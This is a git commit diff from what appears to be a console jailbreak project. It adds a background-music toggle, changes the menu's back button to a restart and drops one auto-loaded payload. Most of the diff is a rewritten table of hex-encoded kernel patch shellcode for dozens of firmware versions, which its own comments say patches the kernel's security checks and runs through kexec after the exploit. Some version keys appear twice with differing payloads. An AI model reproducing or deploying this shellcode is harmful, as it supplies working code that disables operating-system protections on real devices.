Add files via upload

Signed-off-by: TanKanT97 <108915004+TanKanT97@users.noreply.github.com>
This commit is contained in:
TanKanT97
2026-02-11 02:48:16 -05:00
committed by GitHub
parent 8aa224dcb9
commit 3b4beeb3f5
11 changed files with 281 additions and 160 deletions
-3
View File
@@ -706,9 +706,6 @@ export function binloader_init () {
}
}
if (lapse_ran) {
bl_load_from_file('/mnt/sandbox/download/CUSA00960/payloads/aiofix_network.elf', true)
}
// Priority 1: Check for USB payload on usb0-usb4 (like BD-JB does)
for (const usb_path of USB_PAYLOAD_PATHS) {
const usb_size = bl_file_exists(usb_path)
+1
View File
@@ -2,6 +2,7 @@ export const CONFIG = {
autolapse: false,
autopoop: false,
autoclose: false,
music: true,
jb_behavior: 0
}
+16 -13
View File
@@ -41,11 +41,13 @@ if (typeof lang === 'undefined') {
autolapse: boolean
autopoop: boolean
autoclose: boolean
music: boolean
jb_behavior: number
} = {
autolapse: false,
autopoop: false,
autoclose: false,
music: true,
jb_behavior: 0
}
@@ -71,6 +73,12 @@ if (typeof lang === 'undefined') {
new Style({ name: 'white', color: 'white', size: 24 })
new Style({ name: 'title', color: 'white', size: 32 })
if (typeof CONFIG !== 'undefined' && CONFIG.music) {
const audio = new jsmaf.AudioClip()
audio.volume = 0.5 // 50% volume
audio.open('file://../download0/sfx/bgm.wav')
}
const background = new Image({
url: 'file:///../download0/img/multiview_bg_VAF.png',
x: 0,
@@ -151,6 +159,7 @@ if (typeof lang === 'undefined') {
{ key: 'autolapse', label: lang.autoLapse, imgKey: 'autoLapse', type: 'toggle' },
{ key: 'autopoop', label: lang.autoPoop, imgKey: 'autoPoop', type: 'toggle' },
{ key: 'autoclose', label: lang.autoClose, imgKey: 'autoClose', type: 'toggle' },
{ key: 'music', label: lang.music, imgKey: 'music', type: 'toggle' },
{ key: 'jb_behavior', label: lang.jbBehavior, imgKey: 'jbBehavior', type: 'cycle' }
]
@@ -419,6 +428,7 @@ if (typeof lang === 'undefined') {
configContent += ' autolapse: ' + currentConfig.autolapse + ',\n'
configContent += ' autopoop: ' + currentConfig.autopoop + ',\n'
configContent += ' autoclose: ' + currentConfig.autoclose + ',\n'
configContent += ' music: ' + currentConfig.music + ',\n'
configContent += ' jb_behavior: ' + currentConfig.jb_behavior + '\n'
configContent += '};\n\n'
configContent += 'const payloads = [ //to be ran after jailbroken\n'
@@ -453,6 +463,7 @@ if (typeof lang === 'undefined') {
currentConfig.autolapse = CONFIG.autolapse || false
currentConfig.autopoop = CONFIG.autopoop || false
currentConfig.autoclose = CONFIG.autoclose || false
currentConfig.music = CONFIG.music !== false
currentConfig.jb_behavior = CONFIG.jb_behavior || 0
// Preserve user's payloads
@@ -473,12 +484,8 @@ if (typeof lang === 'undefined') {
function handleButtonPress () {
if (currentButton === buttons.length - 1) {
log('Going back to main menu...')
try {
include('main-menu.js')
} catch (e) {
log('ERROR loading main-menu.js: ' + (e as Error).message)
}
log('Restarting...')
debugging.restart()
} else if (currentButton < configOptions.length) {
const option = configOptions[currentButton]!
const key = option.key
@@ -487,7 +494,7 @@ if (typeof lang === 'undefined') {
currentConfig.jb_behavior = (currentConfig.jb_behavior + 1) % jbBehaviorLabels.length
log(key + ' = ' + jbBehaviorLabels[currentConfig.jb_behavior])
} else {
const boolKey = key as 'autolapse' | 'autopoop' | 'autoclose'
const boolKey = key as 'autolapse' | 'autopoop' | 'autoclose' | 'music'
currentConfig[boolKey] = !currentConfig[boolKey]
if (key === 'autolapse' && currentConfig.autolapse === true) {
@@ -528,12 +535,8 @@ if (typeof lang === 'undefined') {
} else if (keyCode === 14) {
handleButtonPress()
} else if (keyCode === 13) {
log('Going back to main menu...')
try {
include('main-menu.js')
} catch (e) {
log('ERROR loading main-menu.js: ' + (e as Error).message)
}
log('Restarting...')
debugging.restart()
}
}
+84 -85
View File
@@ -8,39 +8,38 @@ import { BigInt, mem, fn, utils, syscalls } from 'download0/types'
// Kernel patch shellcode (hex strings) - patches security checks in kernel
// These are executed via kexec after jailbreak to enable full functionality
const kpatch_shellcode = {
'5.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB04000041B890E9FFFF4881C2A0320100C681BD0A0000EBC6816DA31E00EBC681B1A31E00EBC6812DA41E00EBC68171A41E00EBC6810DA61E00EBC6813DAA1E00EBC681FDAA1E00EBC7819304000000000000C681C5040000EB668981BC0400006689B1B8040000C6817D4A0500EB6689B9F83A1A00664489812A7E2300C78150232B004831C0C3C68110D5130037C68113D5130037C78120C807010200000048899128C80701C7814CC80701010000000F20C0480D000001000F22C031C0C3',
5.03: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB04000041B890E9FFFF4881C2A0320100C681BD0A0000EBC6817DA41E00EBC681C1A41E00EBC6813DA51E00EBC68181A51E00EBC6811DA71E00EBC6814DAB1E00EBC6810DAC1E00EBC7819304000000000000C681C5040000EB668981BC0400006689B1B8040000C6817D4A0500EB6689B9083C1A00664489813A7F2300C78120262B004831C0C3C68120D6130037C68123D6130037C78120C807010200000048899128C80701C7814CC80701010000000F20C0480D000001000F22C031C0C3',
'5.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2CCAD0000C681ED0A0000EBC6810D594000EBC68151594000EBC681CD594000EBC681115A4000EBC681BD5B4000EBC6816D604000EBC6813D614000EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681CD070100EB6644898198EE0200664489890A390600C781300140004831C0C3C681D9253C0037C681DC253C0037C781D05E110102000000488991D85E1101C781FC5E1101010000000F20C0480D000001000F22C031C0C3',
5.53: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2CCAD0000C681ED0A0000EBC6810D584000EBC68151584000EBC681CD584000EBC68111594000EBC681BD5A4000EBC6816D5F4000EBC6813D604000EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681CD070100EB6644898198EE0200664489890A390600C781300040004831C0C3C681D9243C0037C681DC243C0037C781D05E110102000000488991D85E1101C781FC5E1101010000000F20C0480D000001000F22C031C0C3',
5.55: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2CCAD0000C681ED0A0000EBC681CD5B4000EBC681115C4000EBC6818D5C4000EBC681D15C4000EBC6817D5E4000EBC6812D634000EBC681FD634000EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681CD070100EB6644898198EE0200664489890A390600C781F00340004831C0C3C68199283C0037C6819C283C0037C781D0AE110102000000488991D8AE1101C781FCAE1101010000000F20C0480D000001000F22C031C0C3',
5.56: 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C209EF0300C681DD0A0000EBC6814D461100EBC68191461100EBC6810D471100EBC68151471100EBC681FD481100EBC681AD4D1100EBC6817D4E1100EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681ED900200EB6644898158223500664489895AF62700C78110A801004831C0C3C6816D02240037C6817002240037C78150B711010200000048899158B71101C7817CB71101010000000F20C0480D000001000F22C031C0C3',
'6.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C209EF0300C681DD0A0000EBC6814D461100EBC68191461100EBC6810D471100EBC68151471100EBC681FD481100EBC681AD4D1100EBC6817D4E1100EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681ED900200EB6644898158223500664489895AF62700C78110A801004831C0C3C6816D02240037C6817002240037C78150B711010200000048899158B71101C7817CB71101010000000F20C0480D000001000F22C031C0C3',
'6.20': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B890E9FFFFBEEB000000BFEB00000041B8EB04000041B990E9FFFF4881C2AEBC0200C681DD0A0000EBC6814D461100EBC68191461100EBC6810D471100EBC68151471100EBC681FD481100EBC681AD4D1100EBC6817D4E1100EBC7819004000000000000668981C60400006689B1BD0400006689B9B9040000C681ED900200EB6644898178223500664489897AF62700C78110A801004831C0C3C6816D02240037C6817002240037C78150F711010200000048899158F71101C7817CF71101010000000F20C0480D000001000F22C031C0C3',
'6.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB0000006689810EC5630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C24DA31500C681CD0A0000EBC6814D113C00EBC68191113C00EBC6810D123C00EBC68151123C00EBC681FD133C00EBC681AD183C00EBC6817D193C00EB6689B10FCE6300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C68127BB1000EB66448991081A4500664489991E801D00668981AA851D00C781209F41004831C0C3C6817AB50A0037C6817DB50A0037C78110D211010200000048899118D21101C7813CD21101010000000F20C0480D000001000F22C031C0C3',
'6.70': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB000000668981CEC8630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C25DCF0900C681CD0A0000EBC681FD143C00EBC68141153C00EBC681BD153C00EBC68101163C00EBC681AD173C00EBC6815D1C3C00EBC6812D1D3C00EB6689B1CFD16300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C681D7BE1000EB66448991B81D450066448999CE831D006689815A891D00C781D0A241004831C0C3C6817AB50A0037C6817DB50A0037C78110E211010200000048899118E21101C7813CE21101010000000F20C0480D000001000F22C031C0C3',
'7.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB000000668981CEAC630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C2D2AF0600C681CD0A0000EBC6818DEF0200EBC681D1EF0200EBC6814DF00200EBC68191F00200EBC6813DF20200EBC681EDF60200EBC681BDF70200EB6689B1EFB56300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C681777B0800EB66448991084C260066448999C14E09006689817B540900C781202C2F004831C0C3C68136231D0037C68139231D0037C781705812010200000048899178581201C7819C581201010000000F20C0480D000001000F22C031C0C3',
'7.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BF90E9FFFF41B8EB0000006689819473630041B9EB00000041BAEB04000041BB90E9FFFFB890E9FFFF4881C282F60100C681DD0A0000EBC6814DF72800EBC68191F72800EBC6810DF82800EBC68151F82800EBC681FDF92800EBC681ADFE2800EBC6817DFF2800EB6689B1CF7C6300C78190040000000000006689B9C604000066448981BD04000066448989B9040000C68127A33700EB66448991C814300066448999041E4500668981C4234500C781309A02004831C0C3C6817DB10D0037C68180B10D0037C781502512010200000048899158251201C7817C251201010000000F20C0480D000001000F22C031C0C3',
'8.00': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB00000041B8EB00000041B9EB04000041BA90E9FFFF4881C2DC600E0066898154D26200C681CD0A0000EBC6810DE12500EBC68151E12500EBC681CDE12500EBC68111E22500EBC681BDE32500EBC6816DE82500EBC6813DE92500EB6689B13FDB6200C7819004000000000000C681C2040000EB6689B9B904000066448981B5040000C68196D63400EB664489898BC63E0066448991848D3100C6813F953100EBC781C05109004831C0C3C6813AD00F0037C6813DD00F0037C781E0C60F0102000000488991E8C60F01C7810CC70F01010000000F20C0480D000001000F22C031C0C3',
'8.50': 'B9820000C00F3248C1E22089C04809C2488D8A40FEFFFF0F20C04825FFFFFEFF0F22C0B8EB000000BEEB000000BFEB00000041B8EB00000041B9EB04000041BA90E9FFFF4881C24D7F0C0066898174466200C681CD0A0000EBC6813D403A00EBC68181403A00EBC681FD403A00EBC68141413A00EBC681ED423A00EBC6819D473A00EBC6816D483A00EB6689B15F4F6200C7819004000000000000C681C2040000EB6689B9B904000066448981B5040000C681D6F32200EB66448989DBD614006644899174740100C6812F7C0100EBC78140D03A004831C0C3C681EA26080037C681ED26080037C781D0C70F0102000000488991D8C70F01C781FCC70F01010000000F20C0480D000001000F22C031C0C3',
'9.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2edc5040066898174686200c681cd0a0000ebc681fd132700ebc68141142700ebc681bd142700ebc68101152700ebc681ad162700ebc6815d1b2700ebc6812d1c2700eb6689b15f716200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b080066448991c4ae2300c6817fb62300ebc781401b22004831c0c3c6812a63160037c6812d63160037c781200510010200000048899128051001c7814c051001010000000f20c0480d000001000f22c031c0c3',
9.03: 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c29b30050066898134486200c681cd0a0000ebc6817d102700ebc681c1102700ebc6813d112700ebc68181112700ebc6812d132700ebc681dd172700ebc681ad182700eb6689b11f516200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b08006644899194ab2300c6814fb32300ebc781101822004831c0c3c681da62160037c681dd62160037c78120c50f010200000048899128c50f01c7814cc50f01010000000f20c0480d000001000f22c031c0c3',
'9.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2ad580100668981e44a6200c681cd0a0000ebc6810d1c2000ebc681511c2000ebc681cd1c2000ebc681111d2000ebc681bd1e2000ebc6816d232000ebc6813d242000eb6689b1cf536200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68136a51f00eb664489893b6d19006644899124f71900c681dffe1900ebc781601901004831c0c3c6817a2d120037c6817d2d120037c78100950f010200000048899108950f01c7812c950f01010000000f20c0480d000001000f22c031c0c3',
'10.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2f166000066898164e86100c681cd0a0000ebc6816d2c4700ebc681b12c4700ebc6812d2d4700ebc681712d4700ebc6811d2f4700ebc681cd334700ebc6819d344700eb6689b14ff16100c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68156772600eb664489897b20390066448991a4fa1800c6815f021900ebc78140ea1b004831c0c3c6819ad50e0037c6819dd50e0037c781a02f100102000000488991a82f1001c781cc2f1001010000000f20c0480d000001000f22c031c0c3',
'10.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb00000066898113302100b8eb04000041b9eb00000041baeb000000668981ecb2470041bbeb000000b890e9ffff4881c22d0c05006689b1233021006689b94330210066448981b47d6200c681cd0a0000ebc681bd720d00ebc68101730d00ebc6817d730d00ebc681c1730d00ebc6816d750d00ebc6811d7a0d00ebc681ed7a0d00eb664489899f866200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681c6c10800eb668981d42a2100c7818830210090e93c01c78160ab2d004831c0c3c6812ac4190037c6812dc4190037c781d02b100102000000488991d82b1001c781fc2b1001010000000f20c0480d000001000f22c031c0c3',
'11.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981334c1e00b8eb04000041b9eb00000041baeb000000668981ecc8350041bbeb000000b890e9ffff4881c2611807006689b1434c1e006689b9634c1e0066448981643f6200c681cd0a0000ebc6813ddd2d00ebc68181dd2d00ebc681fddd2d00ebc68141de2d00ebc681eddf2d00ebc6819de42d00ebc6816de52d00eb664489894f486200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126154300eb668981f4461e00c781a84c1e0090e93c01c781e08c08004831c0c3c6816a62150037c6816d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3',
11.02: 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981534c1e00b8eb04000041b9eb00000041baeb0000006689810cc9350041bbeb000000b890e9ffff4881c2611807006689b1634c1e006689b9834c1e0066448981043f6200c681cd0a0000ebc6815ddd2d00ebc681a1dd2d00ebc6811dde2d00ebc68161de2d00ebc6810de02d00ebc681bde42d00ebc6818de52d00eb66448989ef476200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681b6144300eb66898114471e00c781c84c1e0090e93c01c781e08c08004831c0c3c6818a62150037c6818d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3',
'11.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981acbe2f0041bbeb000000b890e9ffff4881c2150307006689b1b3761b006689b9d3761b0066448981b4786200c681cd0a0000ebc681edd22b00ebc68131d32b00ebc681add32b00ebc681f1d32b00ebc6819dd52b00ebc6814dda2b00ebc6811ddb2b00eb664489899f816200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681a6123900eb66898164711b00c78118771b0090e93c01c78120d63b004831c0c3c6813aa61f0037c6813da61f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3',
'12.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981ecc02f0041bbeb000000b890e9ffff4881c2717904006689b1b3761b006689b9d3761b0066448981f47a6200c681cd0a0000ebc681cdd32b00ebc68111d42b00ebc6818dd42b00ebc681d1d42b00ebc6817dd62b00ebc6812ddb2b00ebc681fddb2b00eb66448989df836200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681e6143900eb66898164711b00c78118771b0090e93c01c78160d83b004831c0c3c6811aa71f0037c6811da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3',
'12.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981e3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2717904006689b1f3761b006689b913771b0066448981347b6200c681cd0a0000ebc6810dd42b00ebc68151d42b00ebc681cdd42b00ebc68111d52b00ebc681bdd62b00ebc6816ddb2b00ebc6813ddc2b00eb664489891f846200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126153900ebc7812ec12f0000000000668981a4711b00c78158771b0090e93c01c781a0d83b004831c0c3c6815aa71f0037c6815da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3',
'13.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981e3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2717904006689b1f3761b006689b913771b0066448981847b6200c681cd0a0000ebc6812dd42b00ebc68171d42b00ebc681edd42b00ebc68131d52b00ebc681ddd62b00ebc6818ddb2b00ebc6815ddc2b00eb664489896f846200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68146153900ebc7814ec12f0000000000668981a4711b00c78158771b0090e93c01c781c0d83b004831c0c3c6817aa71f0037c6817da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3',
'5.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb04000041b890e9ffff4881c2a0320100c681bd0a0000ebc6816da31e00ebc681b1a31e00ebc6812da41e00ebc68171a41e00ebc6810da61e00ebc6813daa1e00ebc681fdaa1e00ebc7819304000000000000c681c5040000eb668981bc0400006689b1b8040000c6817d4a0500eb6689b9f83a1a00664489812a7e2300c78150232b004831c0c3c68110d5130037c68113d5130037c78120c807010200000048899128c80701c7814cc80701010000000f20c0480d000001000f22c031c0c3',
'5.03': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb04000041b890e9ffff4881c2a0320100c681bd0a0000ebc6817da41e00ebc681c1a41e00ebc6813da51e00ebc68181a51e00ebc6811da71e00ebc6814dab1e00ebc6810dac1e00ebc7819304000000000000c681c5040000eb668981bc0400006689b1b8040000c6817d4a0500eb6689b9083c1a00664489813a7f2300c78120262b004831c0c3c68120d6130037c68123d6130037c78120c807010200000048899128c80701c7814cc80701010000000f20c0480d000001000f22c031c0c3',
'5.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b890e9ffffbeeb000000bfeb00000041b8eb04000041b990e9ffff4881c2ccad0000c681ed0a0000ebc6810d594000ebc68151594000ebc681cd594000ebc681115a4000ebc681bd5b4000ebc6816d604000ebc6813d614000ebc7819004000000000000668981c60400006689b1bd0400006689b9b9040000c681cd070100eb6644898198ee0200664489890a390600c781300140004831c0c3c681d9253c0037c681dc253c0037c781d05e110102000000488991d85e1101c781fc5e1101010000000f20c0480d000001000f22c031c0c3',
'5.53': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b890e9ffffbeeb000000bfeb00000041b8eb04000041b990e9ffff4881c2ccad0000c681ed0a0000ebc6810d584000ebc68151584000ebc681cd584000ebc68111594000ebc681bd5a4000ebc6816d5f4000ebc6813d604000ebc7819004000000000000668981c60400006689b1bd0400006689b9b9040000c681cd070100eb6644898198ee0200664489890a390600c781300040004831c0c3c681d9243c0037c681dc243c0037c781d05e110102000000488991d85e1101c781fc5e1101010000000f20c0480d000001000f22c031c0c3',
'5.55': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b890e9ffffbeeb000000bfeb00000041b8eb04000041b990e9ffff4881c2ccad0000c681ed0a0000ebc681cd5b4000ebc681115c4000ebc6818d5c4000ebc681d15c4000ebc6817d5e4000ebc6812d634000ebc681fd634000ebc7819004000000000000668981c60400006689b1bd0400006689b9b9040000c681cd070100eb6644898198ee0200664489890a390600c781f00340004831c0c3c68199283c0037c6819c283c0037c781d0ae110102000000488991d8ae1101c781fcae1101010000000f20c0480d000001000f22c031c0c3',
'5.56': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b890e9ffffbeeb000000bfeb00000041b8eb04000041b990e9ffff4881c209ef0300c681dd0a0000ebc6814d461100ebc68191461100ebc6810d471100ebc68151471100ebc681fd481100ebc681ad4d1100ebc6817d4e1100ebc7819004000000000000668981c60400006689b1bd0400006689b9b9040000c681ed900200eb6644898158223500664489895af62700c78110a801004831c0c3c6816d02240037c6817002240037c78150b711010200000048899158b71101c7817cb71101010000000f20c0480d000001000f22c031c0c3',
'6.20': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b890e9ffffbeeb000000bfeb00000041b8eb04000041b990e9ffff4881c2aebc0200c681dd0a0000ebc6814d461100ebc68191461100ebc6810d471100ebc68151471100ebc681fd481100ebc681ad4d1100ebc6817d4e1100ebc7819004000000000000668981c60400006689b1bd0400006689b9b9040000c681ed900200eb6644898178223500664489897af62700c78110a801004831c0c3c6816d02240037c6817002240037c78150f711010200000048899158f71101c7817cf71101010000000f20c0480d000001000f22c031c0c3',
'6.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bf90e9ffff41b8eb0000006689810ec5630041b9eb00000041baeb04000041bb90e9ffffb890e9ffff4881c24da31500c681cd0a0000ebc6814d113c00ebc68191113c00ebc6810d123c00ebc68151123c00ebc681fd133c00ebc681ad183c00ebc6817d193c00eb6689b10fce6300c78190040000000000006689b9c604000066448981bd04000066448989b9040000c68127bb1000eb66448991081a4500664489991e801d00668981aa851d00c781209f41004831c0c3c6817ab50a0037c6817db50a0037c78110d211010200000048899118d21101c7813cd21101010000000f20c0480d000001000f22c031c0c3',
'6.70': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bf90e9ffff41b8eb000000668981cec8630041b9eb00000041baeb04000041bb90e9ffffb890e9ffff4881c25dcf0900c681cd0a0000ebc681fd143c00ebc68141153c00ebc681bd153c00ebc68101163c00ebc681ad173c00ebc6815d1c3c00ebc6812d1d3c00eb6689b1cfd16300c78190040000000000006689b9c604000066448981bd04000066448989b9040000c681d7be1000eb66448991b81d450066448999ce831d006689815a891d00c781d0a241004831c0c3c6817ab50a0037c6817db50a0037c78110e211010200000048899118e21101c7813ce21101010000000f20c0480d000001000f22c031c0c3',
'7.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bf90e9ffff41b8eb000000668981ceac630041b9eb00000041baeb04000041bb90e9ffffb890e9ffff4881c2d2af0600c681cd0a0000ebc6818def0200ebc681d1ef0200ebc6814df00200ebc68191f00200ebc6813df20200ebc681edf60200ebc681bdf70200eb6689b1efb56300c78190040000000000006689b9c604000066448981bd04000066448989b9040000c681777b0800eb66448991084c260066448999c14e09006689817b540900c781202c2f004831c0c3c68136231d0037c68139231d0037c781705812010200000048899178581201c7819c581201010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb070000c681b11b4a00eb668981ee1b4a0048b84183bfa004000000488981f71b4a00b8498bffffc681ff1b4a0090c681081c4a0087c681151c4a00b7c6812d1c4a0087c6813a1c4a00b7c681521c4a00bfc6815e1c4a00bfc6816a1c4a00bfc681761c4a00bf668981851c4a00c681871c4a00ff0f20c0480d000001000f22c031c0c3',
'7.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bf90e9ffff41b8eb0000006689819473630041b9eb00000041baeb04000041bb90e9ffffb890e9ffff4881c282f60100c681dd0a0000ebc6814df72800ebc68191f72800ebc6810df82800ebc68151f82800ebc681fdf92800ebc681adfe2800ebc6817dff2800eb6689b1cf7c6300c78190040000000000006689b9c604000066448981bd04000066448989b9040000c68127a33700eb66448991c814300066448999041e4500668981c4234500c781309a02004831c0c3c6817db10d0037c68180b10d0037c781502512010200000048899158251201c7817c251201010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb030000ba0500000031f631ff668981f5200b0041b80100000048b84183bea00400000041b901000000488981fa200b00b80400000041ba4c89ffff6689810c210b00b80400000066898119210b00b805000000c78103220b00e9f2feffc68107220b00ffc78108210b00498b86d0c6810e210b0000c78115210b00498bb6b0c6811b210b0000c7812d210b00498b864066898131210b00c68133210b0000c7813a210b00498bb6206689913e210b00c68140210b0000c78152210b00498dbec06689b156210b00c68158210b0000c7815e210b00498dbee06689b962210b00c68164210b0000c78171210b00498dbe006644898175210b00c68177210b0000c7817d210b00498dbe206644898981210b00c68183210b0000664489918e210b00c68190210b00f70f20c0480d000001000f22c031c0c3',
'8.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2dc600e0066898154d26200c681cd0a0000ebc6810de12500ebc68151e12500ebc681cde12500ebc68111e22500ebc681bde32500ebc6816de82500ebc6813de92500eb6689b13fdb6200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68196d63400eb664489898bc63e0066448991848d3100c6813f953100ebc781c05109004831c0c3c6813ad00f0037c6813dd00f0037c781e0c60f0102000000488991e8c60f01c7810cc70f01010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb06000041bbeb48000031d231f666898183f10900bf0100000048b84183bfa00400000041b8010000004889818bf10900b80400000041b9498bffff6689819df10900b804000000668981aaf10900b805000000668981c2f10900b8050000006644899941f10900c78199f10900498b87d0c6819ff1090000c781a6f10900498bb7b0c681acf1090000c781bef10900498b8740c681c4f1090000c781cbf10900498bb720668981cff10900c681d1f1090000c781e3f10900498dbfc0668991e7f10900c681e9f1090000c781eff10900498dbfe06689b1f3f10900c681f5f1090000c78102f20900498dbf006689b906f20900c68108f2090000c7810ef20900498dbf206644898112f20900c68114f2090000664489891ff20900c68121f20900ff0f20c0480d000001000f22c031c0c3',
